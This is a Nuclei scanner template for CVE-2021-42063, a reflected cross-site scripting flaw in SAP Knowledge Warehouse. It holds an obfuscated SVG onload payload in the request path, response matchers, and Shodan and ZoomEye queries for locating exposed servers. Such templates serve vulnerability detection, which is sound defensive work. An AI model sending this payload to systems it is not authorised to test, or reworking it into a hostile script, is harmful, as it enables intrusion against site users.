nuclei-templates/http/cves/2021/CVE-2021-42063.yaml

id: CVE-2021-42063

info:
  name: SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: |
    SAP Knowledge Warehouse 7.30, 7.31, 7.40, and 7.50 contain a reflected cross-site scripting vulnerability via the usage of one SAP KW component within a web browser.
  remediation: |
    Upgrade to a patched version of SAP Knowledge Warehouse (>=7.5.1) to mitigate the XSS vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2022/Mar/32
    - https://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
    - https://twitter.com/MrTuxracer/status/1505934549217382409
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42063
    - http://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-42063
    cwe-id: CWE-79
    epss-score: 0.00491
    epss-percentile: 0.73523
    cpe: cpe:2.3:a:sap:knowledge_warehouse:7.30:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: knowledge_warehouse
    shodan-query: http.favicon.hash:-266008933
    zoomeye-query: +app:"SAP NetWeaver Application Server httpd
  tags: cve2021,sap,xss,seclists,packetstorm,cve

http:
  - method: GET
    path:
      - "{{BaseURL}}/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<SVG ONLOAD=&#97&#108&#101&#114&#116(&#X64&#X6F&#X63&#X75&#X6D&#X65&#X6E&#X74&#X2E&#X64&#X6F&#X6D&#X61&#X69&#X6E)>"
          - "SAPIKS2"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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